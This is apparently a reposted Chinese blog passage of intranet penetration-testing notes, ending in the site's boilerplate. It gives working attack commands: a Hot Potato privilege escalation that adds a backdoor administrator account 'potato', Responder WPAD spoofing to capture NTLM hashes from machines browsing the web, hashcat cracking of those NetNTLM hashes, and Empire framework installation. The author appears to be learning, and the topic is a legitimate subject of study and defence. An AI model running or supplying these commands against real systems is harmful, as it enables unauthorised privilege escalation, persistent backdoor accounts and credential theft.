成功连接
热土豆提权
下载地址
https://github.com/foxglovesec/Potato
Potato.exe -ip 自身ip -disable_exhaust true -cmd "C:\Windows\System32\cmd.exe /K net user potato 123.com /add &&net localgroup administrators potato /add
成功添加一个administrator的账户
Responder -WPAD 提权
Responder下载地址:https://github.com/lgandx/Responder
浏览器默认自动检测代理设置如下,当目标访问某个网站时,利用kali伪造代理主机,要求目标机器提供hash,kali抓取此hash
responder -I eth0 #Responder会启动80端口,用之前关闭80服务 /etc/init.d/apache2 stop
当目标访问任意网站,抓取hash
hashcat -m 5600 hash.txt -a 0 pass.txt --force
#5600>NTLM加密协议
内网渗透工具
Empire
下载地址:•https://github.com/EmpireProject/Empire
安装:sudo ./setup/install.sh文章来源:https://www.toymoban.com/news/detail-494052.html
或者 sudo apt install powershell-empire文章来源地址https://www.toymoban.com/news/detail-494052.html
遇到瓶颈了先写到这
到了这里,关于内网渗透一周目通关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!